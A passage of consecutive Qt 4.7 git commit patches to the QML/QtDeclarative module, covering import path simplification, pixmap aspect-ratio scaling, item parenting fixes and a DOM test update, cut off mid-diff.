src/declarative/qml/parser/qdeclarativejs.g | 5 ----- src/declarative/qml/parser/qdeclarativejsparser.cpp | 5 ----- 2 files changed, 10 deletions(-) diff --git a/src/declarative/qml/parser/qdeclarativejs.g b/src/declarative/qml/parser/qdeclarativejs.g index c7524a4..6434d10 100644 --- a/src/declarative/qml/parser/qdeclarativejs.g +++ b/src/declarative/qml/parser/qdeclarativejs.g @@ -654,11 +654,6 @@ case $rule_number: { node = makeAstNode(driver->nodePool(), importIdLiteral->value); node->fileNameToken = loc(2); } else if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(2).Expression)) { - QString text; - for (AST::UiQualifiedId *q = qualifiedId; q; q = q->next) { - text += q->name->asString(); - if (q->next) text += QLatin1String("."); - } node = makeAstNode(driver->nodePool(), qualifiedId); node->fileNameToken = loc(2); } diff --git a/src/declarative/qml/parser/qdeclarativejsparser.cpp b/src/declarative/qml/parser/qdeclarativejsparser.cpp index 2949e88..3cf73b1 100644 --- a/src/declarative/qml/parser/qdeclarativejsparser.cpp +++ b/src/declarative/qml/parser/qdeclarativejsparser.cpp @@ -273,11 +273,6 @@ case 20: { node = makeAstNode(driver->nodePool(), importIdLiteral->value); node->fileNameToken = loc(2); } else if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(2).Expression)) { - QString text; - for (AST::UiQualifiedId *q = qualifiedId; q; q = q->next) { - text += q->name->asString(); - if (q->next) text += QLatin1String("."); - } node = makeAstNode(driver->nodePool(), qualifiedId); node->fileNameToken = loc(2); } -- cgit v0.12 From 176390773658ce396b1776e2872ecb389a2351a3 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 30 Mar 2010 08:43:05 +1000 Subject: Simplify import path. Reviewed-by: mae --- src/declarative/qml/qdeclarativeengine.cpp | 88 +++++++++++------------------- src/declarative/qml/qdeclarativeengine.h | 4 +- src/declarative/qml/qdeclarativeengine_p.h | 1 - tools/qml/main.cpp | 11 +++- 4 files changed, 45 insertions(+), 59 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 5335b8c..abac086 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -178,10 +178,16 @@ QDeclarativeEnginePrivate::QDeclarativeEnginePrivate(QDeclarativeEngine *e) #endif foreach (const QString &path, QString::fromLatin1(envImportPath).split(pathSep, QString::SkipEmptyParts)) { QString canonicalPath = QDir(path).canonicalPath(); - if (!canonicalPath.isEmpty() && !environmentImportPath.contains(canonicalPath)) - environmentImportPath.append(canonicalPath); + if (!canonicalPath.isEmpty() && !fileImportPath.contains(canonicalPath)) + fileImportPath.append(canonicalPath); } } +#if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) + QString builtinPath = QLibraryInfo::location(QLibraryInfo::ImportsPath); + if (!builtinPath.isEmpty()) + fileImportPath += builtinPath; +#endif + } QUrl QDeclarativeScriptEngine::resolvedUrl(QScriptContext *context, const QUrl& url) @@ -1495,29 +1501,7 @@ public: if (dir.endsWith(QLatin1Char('/')) || dir.endsWith(QLatin1Char('\\'))) dir.chop(1); - QStringList paths; - -// if (!base.isEmpty()) { -// QString baseDir = QFileInfo(toLocalFileOrQrc(base)).path(); -// paths += baseDir; -// } - - QString applicationDirPath = QCoreApplication::applicationDirPath(); - if (!applicationDirPath.isEmpty()) - paths += applicationDirPath; - - paths += QDeclarativeEnginePrivate::get(engine)->environmentImportPath; -#if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) - QString builtinPath = QLibraryInfo::location(QLibraryInfo::ImportsPath); -#else - QString builtinPath; -#endif - if (!builtinPath.isEmpty()) - paths += builtinPath; - - // add fileImportPath last, this is *not* search order. - paths += QDeclarativeEnginePrivate::get(engine)->fileImportPath; - + QStringList paths = QDeclarativeEnginePrivate::get(engine)->fileImportPath; qSort(paths.begin(), paths.end(), greaterThan); // Ensure subdirs preceed their parents. QString stableRelativePath = dir; @@ -1557,28 +1541,8 @@ public: QString dir; - // user import paths - QStringList paths; - // base.. -// QString localFileOrQrc = toLocalFileOrQrc(base); -// QString localFileOrQrcPath = QFileInfo(localFileOrQrc).path(); -// paths += localFileOrQrcPath; - paths += QDeclarativeEnginePrivate::get(engine)->fileImportPath; - - QString applicationDirPath = QCoreApplication::applicationDirPath(); - if (!applicationDirPath.isEmpty()) - paths += applicationDirPath; - - paths += QDeclarativeEnginePrivate::get(engine)->environmentImportPath; -#if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) - QString builtinPath = QLibraryInfo::location(QLibraryInfo::ImportsPath); -#else - QString builtinPath; -#endif - if (!builtinPath.isEmpty()) - paths += builtinPath; - - foreach (const QString &p, paths) { + foreach (const QString &p, + QDeclarativeEnginePrivate::get(engine)->fileImportPath) { dir = p+QLatin1Char('/')+url; QFileInfo fi(dir+QLatin1String("/qmldir")); @@ -1810,7 +1774,9 @@ QUrl QDeclarativeEnginePrivate::Imports::baseUrl() const Adds \a path as a directory where installed QML components are defined in a URL-based directory structure. - \sa importPathList() + The newly added \a path will be first in the importPathList(). + + \sa setImportPathList() */ void QDeclarativeEngine::addImportPath(const QString& path) { @@ -1822,7 +1788,7 @@ void QDeclarativeEngine::addImportPath(const QString& path) /*! - Returns the list of directories with the engine searches for + Returns the list of directories where the engine searches for installed modules. For example, if \c /opt/MyApp/lib/imports is in the path, then QML that @@ -1831,13 +1797,10 @@ void QDeclarativeEngine::addImportPath(const QString& path) provided by that module. A \c qmldir file is required for defining the type version mapping and possibly declarative extensions plugins. - In addition to this list, - the engine searches in the directory containing the - application executable (QCoreApplication::applicationDirPath()), - then the paths specified in the \c QML_IMPORT_PATH environment variable, then the - builtin \c ImportsPath from QLibraryInfo. + By default, the list contains the paths specified in the \c QML_IMPORT_PATH environment + variable, then the builtin \c ImportsPath from QLibraryInfo. - \sa addImportPath() + \sa addImportPath() setImportPathList() */ QStringList QDeclarativeEngine::importPathList() const { @@ -1846,6 +1809,21 @@ QStringList QDeclarativeEngine::importPathList() const } /*! + Sets the list of directories where the engine searches for + installed modules. + + By default, the list contains the paths specified in the \c QML_IMPORT_PATH environment + variable, then the builtin \c ImportsPath from QLibraryInfo. + + \sa importPathList() addImportPath() + */ +void QDeclarativeEngine::setImportPathList(const QStringList &paths) +{ + Q_D(QDeclarativeEngine); + d->fileImportPath = paths; +} + +/*! Imports the extension named \a fileName from the \a uri provided. Returns true if the extension was successfully imported. */ diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index a24962e..b861c1b 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -77,8 +77,10 @@ public: void clearComponentCache(); - void addImportPath(const QString& dir); QStringList importPathList() const; + void setImportPathList(const QStringList &paths); + void addImportPath(const QString& dir); + bool importExtension(const QString &fileName, const QString &uri); void setNetworkAccessManagerFactory(QDeclarativeNetworkAccessManagerFactory *); diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 84bf061..5aff30d 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -272,7 +272,6 @@ public: }; - QStringList environmentImportPath; QSet initializedPlugins; QString resolvePlugin(const QDir &dir, const QString &baseName, diff --git a/tools/qml/main.cpp b/tools/qml/main.cpp index a4de339..8062e8e 100644 --- a/tools/qml/main.cpp +++ b/tools/qml/main.cpp @@ -41,6 +41,7 @@ #include "qdeclarative.h" #include "qmlruntime.h" +#include "qdeclarativeengine.h" #include #include #include @@ -100,7 +101,8 @@ void usage() qWarning(" -dragthreshold .................... set mouse drag threshold size"); qWarning(" -netcache ......................... set disk cache to size bytes"); qWarning(" -translation ........... set the language to run in"); - qWarning(" -L ........................... prepend to the library search path"); + qWarning(" -L ........................... prepend to the library search path,"); + qWarning(" display path if is empty"); qWarning(" -opengl .................................. use a QGLWidget for the viewport"); qWarning(" -script ........................... set the script to use"); qWarning(" -scriptopts |help ............... set the script options to use"); @@ -238,7 +240,12 @@ int main(int argc, char ** argv) } else if (arg == "-qmlbrowser") { useNativeFileBrowser = false; } else if (arg == "-L") { - if (lastArg) usage(); + if (lastArg) { + QDeclarativeEngine tmpEngine; + QString paths = tmpEngine.importPathList().join(QLatin1String(":")); + fprintf(stderr, "Current search path: %s\n", paths.toLocal8Bit().constData()); + return 0; + } libraries << QString(argv[++i]); } else if (arg == "-script") { if (lastArg) usage(); -- cgit v0.12 From 9f38b5824b0300c615231729f1e7cdb17890083a Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 30 Mar 2010 09:03:46 +1000 Subject: Allow just one dimension to be set, the other scaled accordingly Task-number: QTBUG-8984 --- src/declarative/util/qdeclarativepixmapcache.cpp | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index fe5863f..a9c30f8 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -179,8 +179,16 @@ static bool readImage(const QUrl& url, QIODevice *dev, QImage *image, QString *e bool scaled = false; if (req_width > 0 || req_height > 0) { QSize s = imgio.size(); - if (req_width && (force_scale || req_width < s.width())) { s.setWidth(req_width); scaled = true; } - if (req_height && (force_scale || req_height < s.height())) { s.setHeight(req_height); scaled = true; } + if (req_width && (force_scale || req_width < s.width())) { + if (req_height <= 0) + s.setHeight(s.height()*req_width/s.width()); + s.setWidth(req_width); scaled = true; + } + if (req_height && (force_scale || req_height < s.height())) { + if (req_width <= 0) + s.setWidth(s.width()*req_height/s.height()); + s.setHeight(req_height); scaled = true; + } if (scaled) { imgio.setScaledSize(s); } } @@ -596,7 +604,7 @@ QDeclarativePixmapReply::Status QDeclarativePixmapCache::get(const QUrl& url, QP QDeclarativePixmapReply::Status status = QDeclarativePixmapReply::Unrequested; QByteArray key = url.toEncoded(QUrl::FormattingOption(0x100)); - if (req_width > 0 && req_height > 0) { + if (req_width > 0 || req_height > 0) { key += ':'; key += QByteArray::number(req_width); key += 'x'; -- cgit v0.12 From cee97322cab0c14e1e3cce7773ba82c6aca86bb3 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 30 Mar 2010 09:32:48 +1000 Subject: Make sure cursor delegate is parented. setParentItem no longer sets QObject parent. --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 2 ++ src/declarative/graphicsitems/qdeclarativetextinput.cpp | 2 ++ 2 files changed, 4 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 7dacfbb..03b2425 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -43,6 +43,7 @@ #include "qdeclarativetextedit_p_p.h" #include "qdeclarativeevents_p_p.h" +#include #include #include @@ -485,6 +486,7 @@ void QDeclarativeTextEdit::loadCursorDelegate() this, SLOT(moveCursorDelegate())); d->control->setCursorWidth(0); dirtyCache(cursorRect()); + QDeclarative_setParent_noEvent(d->cursor, this); d->cursor->setParentItem(this); d->cursor->setHeight(QFontMetrics(d->font).height()); moveCursorDelegate(); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index f57ffc1..88801a4 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -42,6 +42,7 @@ #include "qdeclarativetextinput_p.h" #include "qdeclarativetextinput_p_p.h" +#include #include #include @@ -619,6 +620,7 @@ void QDeclarativeTextInput::createCursor() return; } + QDeclarative_setParent_noEvent(d->cursorItem, this); d->cursorItem->setParentItem(this); d->cursorItem->setX(d->control->cursorToX()); d->cursorItem->setHeight(d->control->height()); -- cgit v0.12 From f5504a76518c65644b665f9c16299fbe423015db Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 30 Mar 2010 10:08:57 +1000 Subject: Correctly parent repeater items. --- src/declarative/graphicsitems/qdeclarativerepeater.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index e8f9b24..bbee4e5 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -43,7 +43,7 @@ #include "qdeclarativerepeater_p_p.h" #include "qdeclarativevisualitemmodel_p.h" - +#include #include #include @@ -283,7 +283,6 @@ void QDeclarativeRepeater::clear() Q_D(QDeclarativeRepeater); if (d->model) { foreach (QDeclarativeItem *item, d->deletables) { - item->setParentItem(this); d->model->release(item); } } @@ -307,7 +306,8 @@ void QDeclarativeRepeater::regenerate() for (int ii = 0; ii < count(); ++ii) { QDeclarativeItem *item = d->model->item(ii); if (item) { - item->setParent(parentItem()); + QDeclarative_setParent_noEvent(item, parentItem()); + item->setParentItem(parentItem()); item->stackBefore(this); d->deletables << item; } @@ -323,7 +323,8 @@ void QDeclarativeRepeater::itemsInserted(int index, int count) int modelIndex = index + i; QDeclarativeItem *item = d->model->item(modelIndex); if (item) { - item->setParent(parentItem()); + QDeclarative_setParent_noEvent(item, parentItem()); + item->setParentItem(parentItem()); if (modelIndex < d->deletables.count()) item->stackBefore(d->deletables.at(modelIndex)); else @@ -341,7 +342,6 @@ void QDeclarativeRepeater::itemsRemoved(int index, int count) while (count--) { QDeclarativeItem *item = d->deletables.takeAt(index); if (item) { - item->setParentItem(this); d->model->release(item); } } -- cgit v0.12 From b05a072e389359dd7a7603d0b59049b87c76d4e6 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Tue, 30 Mar 2010 10:10:01 +1000 Subject: Fix qdeclarativedom::loadDynamicProperty test --- src/declarative/qml/qdeclarativedom.cpp | 6 ++++++ tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp | 10 ++++------ 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index 366750e..dec30a1 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -480,9 +480,15 @@ int QDeclarativeDomDynamicProperty::propertyType() const case QDeclarativeParser::Object::DynamicProperty::Color: return QMetaType::type("QColor"); + case QDeclarativeParser::Object::DynamicProperty::Time: + return QMetaType::type("QTime"); + case QDeclarativeParser::Object::DynamicProperty::Date: return QMetaType::type("QDate"); + case QDeclarativeParser::Object::DynamicProperty::DateTime: + return QMetaType::type("QDateTime"); + case QDeclarativeParser::Object::DynamicProperty::Int: return QMetaType::type("int"); diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp index 16efba9..79b0c36 100644 --- a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp +++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp @@ -451,8 +451,7 @@ void tst_qdeclarativedom::loadDynamicProperty() " property color g\n" " property date h\n" " property var i\n" - " property variant j\n" - " property QtObject k\n" + " property QtObject j\n" "}"; QDeclarativeDomDocument document; @@ -461,7 +460,7 @@ void tst_qdeclarativedom::loadDynamicProperty() QDeclarativeDomObject rootObject = document.rootObject(); QVERIFY(rootObject.isValid()); - QCOMPARE(rootObject.dynamicProperties().count(), 11); + QCOMPARE(rootObject.dynamicProperties().count(), 10); #define DP_TEST(index, name, type, test_position, test_length, propTypeName) \ { \ @@ -483,10 +482,9 @@ void tst_qdeclarativedom::loadDynamicProperty() DP_TEST(4, e, QVariant::String, 106, 17, "string"); DP_TEST(5, f, QVariant::Url, 128, 14, "url"); DP_TEST(6, g, QVariant::Color, 147, 16, "color"); - DP_TEST(7, h, QVariant::Date, 168, 15, "date"); + DP_TEST(7, h, QVariant::DateTime, 168, 15, "date"); DP_TEST(8, i, qMetaTypeId(), 188, 14, "var"); - DP_TEST(9, j, qMetaTypeId(), 207, 18, "variant"); - DP_TEST(10, k, -1, 230, 19, "QtObject"); + DP_TEST(9, j, -1, 207, 19, "QtObject"); } { -- cgit v0.12 From 1494bc444f43e98250f9d29c50a128e5cf4ca328 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Tue, 30 Mar 2010 10:17:20 +1000 Subject: Make QDeclarativeListProperty a class Apparently structs are not socially acceptable. --- src/declarative/qml/qdeclarativelist.h | 3 ++- src/gui/graphicsview/qgraphicsitem_p.h | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativelist.h b/src/declarative/qml/qdeclarativelist.h index bd87990..219aa4b 100644 --- a/src/declarative/qml/qdeclarativelist.h +++ b/src/declarative/qml/qdeclarativelist.h @@ -58,7 +58,8 @@ struct QMetaObject; #ifndef QDECLARATIVELISTPROPERTY #define QDECLARATIVELISTPROPERTY template -struct QDeclarativeListProperty { +class QDeclarativeListProperty { +public: typedef void (*AppendFunction)(QDeclarativeListProperty *, T*); typedef int (*CountFunction)(QDeclarativeListProperty *); typedef T *(*AtFunction)(QDeclarativeListProperty *, int); diff --git a/src/gui/graphicsview/qgraphicsitem_p.h b/src/gui/graphicsview/qgraphicsitem_p.h index b6be79d..73b8f04 100644 --- a/src/gui/graphicsview/qgraphicsitem_p.h +++ b/src/gui/graphicsview/qgraphicsitem_p.h @@ -74,7 +74,8 @@ class QGraphicsItemPrivate; #ifndef QDECLARATIVELISTPROPERTY #define QDECLARATIVELISTPROPERTY template -struct QDeclarativeListProperty { +class QDeclarativeListProperty { +public: typedef void (*AppendFunction)(QDeclarativeListProperty *, T*); typedef int (*CountFunction)(QDeclarativeListProperty *); typedef T *(*AtFunction)(QDeclarativeListProperty *, int); -- cgit v0.12 From 56aa9370dbafa8ee431dd2ffabef309aae01ec2f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 30 Mar 2010 11:11:01 +1000 Subject: Don't emit onPositionChanged before onPressed Task-number: QTBUG-9383 --- src/declarative/graphicsitems/qdeclarativemousearea.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp index 26242bc..dde3366 100644 --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp @@ -639,7 +639,6 @@ bool QDeclarativeMouseArea::setPressed(bool p) d->pressed = p; QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), d->lastButton, d->lastButtons, d->lastModifiers, isclick, d->longPress); if (d->pressed) { - emit positionChanged(&me); emit pressed(&me); } else { emit released(&me); -- cgit v0.12 From 8368e041e35ab2a79c79f651a56e6ee53a46549f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 30 Mar 2010 12:20:58 +1000 Subject: Fix viewer resizing on reload and File->open Task-number: QTBUG-9325 --- src/declarative/util/qdeclarativeview.cpp | 1 + tools/qml/qmlruntime.cpp | 33 +++++++++++++++---------------- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 138fe3c..22a7873 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -157,6 +157,7 @@ void QDeclarativeViewPrivate::execute() { delete root; delete component; + initialSize = QSize(); component = new QDeclarativeComponent(&engine, source, q); if (!component->isLoading()) { diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index d4ceb0b..44cab97 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -995,8 +995,22 @@ void QDeclarativeViewer::statusChanged() if (canvas->status() == QDeclarativeView::Error && tester) tester->executefailure(); - if (canvas->status() == QDeclarativeView::Ready) - resize(sizeHint()); + if (canvas->status() == QDeclarativeView::Ready) { + if (!skin) { + canvas->updateGeometry(); + if (mb) + mb->updateGeometry(); + if (!isFullScreen() && !isMaximized()) + resize(sizeHint()); + } else { + if (scaleSkin) + canvas->resize(canvas->sizeHint()); + else { + canvas->setFixedSize(skin->standardScreenSize()); + canvas->resize(skin->standardScreenSize()); + } + } + } } void QDeclarativeViewer::launch(const QString& file_or_url) @@ -1077,21 +1091,6 @@ void QDeclarativeViewer::openQml(const QString& file_or_url) qWarning() << "Wall startup time:" << t.elapsed(); - if (!skin) { - canvas->updateGeometry(); - if (mb) - mb->updateGeometry(); - if (!isFullScreen() && !isMaximized()) - resize(sizeHint()); - } else { - if (scaleSkin) - canvas->resize(canvas->sizeHint()); - else { - canvas->setFixedSize(skin->standardScreenSize()); - canvas->resize(skin->standardScreenSize()); - } - } - #ifdef QTOPIA show(); #endif -- cgit v0.12 From 68d3e2da7719ff0fc230e8204946b27018e42c14 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 30 Mar 2010 13:28:43 +1000 Subject: Fix parenting after 6f88388db4e8e202780d789e66664ff824691948. --- .../graphicsitems/qdeclarativeflickable.cpp | 3 ++- .../graphicsitems/qdeclarativegridview.cpp | 11 ++++++----- src/declarative/graphicsitems/qdeclarativeitem.cpp | 10 +--------- src/declarative/graphicsitems/qdeclarativeitem.h | 1 - src/declarative/graphicsitems/qdeclarativeitem_p.h | 6 ++++-- .../graphicsitems/qdeclarativelistview.cpp | 22 +++++++++++++--------- .../graphicsitems/qdeclarativeloader.cpp | 8 ++------ .../graphicsitems/qdeclarativepathview.cpp | 5 +++-- 8 files changed, 31 insertions(+), 35 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 98502fd..fb22429 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -137,7 +137,8 @@ QDeclarativeFlickablePrivate::QDeclarativeFlickablePrivate() void QDeclarativeFlickablePrivate::init() { Q_Q(QDeclarativeFlickable); - viewport->setParent(q); + QDeclarative_setParent_noEvent(viewport, q); + viewport->setParentItem(q); static int timelineUpdatedIdx = -1; static int timelineCompletedIdx = -1; static int flickableTickedIdx = -1; diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 17f74db..250832b 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -372,7 +372,7 @@ FxGridItem *QDeclarativeGridViewPrivate::createItem(int modelIndex) listItem->item->setZValue(1); // complete model->completeItem(); - listItem->item->setParent(q->viewport()); + listItem->item->setParentItem(q->viewport()); unrequestedItems.remove(listItem->item); } requestedIndex = -1; @@ -644,7 +644,7 @@ void QDeclarativeGridViewPrivate::createHighlight() QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); QObject *nobj = highlightComponent->create(highlightContext); if (nobj) { - highlightContext->setParent(nobj); + QDeclarative_setParent_noEvent(highlightContext, nobj); item = qobject_cast(nobj); if (!item) delete nobj; @@ -653,10 +653,12 @@ void QDeclarativeGridViewPrivate::createHighlight() } } else { item = new QDeclarativeItem; - item->setParent(q->viewport()); + QDeclarative_setParent_noEvent(item, q->viewport()); + item->setParentItem(q->viewport()); } if (item) { - item->setParent(q->viewport()); + QDeclarative_setParent_noEvent(item, q->viewport()); + item->setParentItem(q->viewport()); highlight = new FxGridItem(item, q); highlightXAnimator = new QDeclarativeEaseFollow(q); highlightXAnimator->setTarget(QDeclarativeProperty(highlight->item, QLatin1String("x"))); @@ -2180,7 +2182,6 @@ void QDeclarativeGridView::modelReset() void QDeclarativeGridView::createdItem(int index, QDeclarativeItem *item) { Q_D(QDeclarativeGridView); - item->setParentItem(this); if (d->requestedIndex != index) { item->setParentItem(this); d->unrequestedItems.insert(item, index); diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index e8f3652..29490e3 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1442,14 +1442,6 @@ void QDeclarativeItem::setParentItem(QDeclarativeItem *parent) } /*! - \fn void QDeclarativeItem::setParent(QDeclarativeItem *parent) - \overload - Sets both the parent object and parent item to \a parent. This - function avoids the programming error of calling setParent() - when you mean setParentItem(). -*/ - -/*! Returns the QDeclarativeItem parent of this item. */ QDeclarativeItem *QDeclarativeItem::parentItem() const @@ -1651,7 +1643,7 @@ QRectF QDeclarativeItem::childrenRect() Q_D(QDeclarativeItem); if (!d->_contents) { d->_contents = new QDeclarativeContents; - d->_contents->setParent(this); + QDeclarative_setParent_noEvent(d->_contents, this); d->_contents->setItem(this); } return d->_contents->rectF(); diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h index 712e854..917e480 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.h +++ b/src/declarative/graphicsitems/qdeclarativeitem.h @@ -107,7 +107,6 @@ public: QDeclarativeItem *parentItem() const; void setParentItem(QDeclarativeItem *parent); - void setParent(QDeclarativeItem *parent) { setParentItem(parent); } QDeclarativeListProperty data(); QDeclarativeListProperty resources(); diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index 10c0c25..2607137 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -63,6 +63,7 @@ #include #include #include +#include #include #include @@ -129,9 +130,10 @@ public: void init(QDeclarativeItem *parent) { Q_Q(QDeclarativeItem); - - if (parent) + if (parent) { + QDeclarative_setParent_noEvent(q, parent); q->setParentItem(parent); + } _baselineOffset.invalidate(); mouseSetsFocus = false; } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 85fcc27..ef8d2fd 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -541,7 +541,7 @@ FxListItem *QDeclarativeListViewPrivate::createItem(int modelIndex) listItem->item->setZValue(1); // complete model->completeItem(); - listItem->item->setParent(q->viewport()); + listItem->item->setParentItem(q->viewport()); QDeclarativeItemPrivate *itemPrivate = static_cast(QGraphicsItemPrivate::get(item)); itemPrivate->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); if (sectionCriteria && sectionCriteria->delegate()) { @@ -803,7 +803,7 @@ void QDeclarativeListViewPrivate::createHighlight() QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); QObject *nobj = highlightComponent->create(highlightContext); if (nobj) { - highlightContext->setParent(nobj); + QDeclarative_setParent_noEvent(highlightContext, nobj); item = qobject_cast(nobj); if (!item) delete nobj; @@ -814,7 +814,8 @@ void QDeclarativeListViewPrivate::createHighlight() item = new QDeclarativeItem; } if (item) { - item->setParent(q->viewport()); + QDeclarative_setParent_noEvent(item, q->viewport()); + item->setParentItem(q->viewport()); highlight = new FxListItem(item, q); if (currentItem && autoHighlight) { if (orient == QDeclarativeListView::Vertical) { @@ -880,13 +881,14 @@ void QDeclarativeListViewPrivate::createSection(FxListItem *listItem) context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); QObject *nobj = sectionCriteria->delegate()->create(context); if (nobj) { - context->setParent(nobj); + QDeclarative_setParent_noEvent(context, nobj); listItem->section = qobject_cast(nobj); if (!listItem->section) { delete nobj; } else { listItem->section->setZValue(1); - listItem->section->setParent(q->viewport()); + QDeclarative_setParent_noEvent(listItem->section, q->viewport()); + listItem->section->setParentItem(q->viewport()); } } else { delete context; @@ -1002,7 +1004,7 @@ void QDeclarativeListViewPrivate::updateFooter() QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); QObject *nobj = footerComponent->create(context); if (nobj) { - context->setParent(nobj); + QDeclarative_setParent_noEvent(context, nobj); item = qobject_cast(nobj); if (!item) delete nobj; @@ -1010,7 +1012,8 @@ void QDeclarativeListViewPrivate::updateFooter() delete context; } if (item) { - item->setParent(q->viewport()); + QDeclarative_setParent_noEvent(item, q->viewport()); + item->setParentItem(q->viewport()); item->setZValue(1); footer = new FxListItem(item, q); } @@ -1039,7 +1042,7 @@ void QDeclarativeListViewPrivate::updateHeader() QDeclarativeContext *context = new QDeclarativeContext(qmlContext(q)); QObject *nobj = headerComponent->create(context); if (nobj) { - context->setParent(nobj); + QDeclarative_setParent_noEvent(context, nobj); item = qobject_cast(nobj); if (!item) delete nobj; @@ -1047,7 +1050,8 @@ void QDeclarativeListViewPrivate::updateHeader() delete context; } if (item) { - item->setParent(q->viewport()); + QDeclarative_setParent_noEvent(item, q->viewport()); + item->setParentItem(q->viewport()); item->setZValue(1); header = new FxListItem(item, q); if (visibleItems.isEmpty()) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 0d62afa..2f1511e 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -301,12 +301,8 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() item = qobject_cast(obj); if (item) { QDeclarative_setParent_noEvent(ctxt, obj); - if 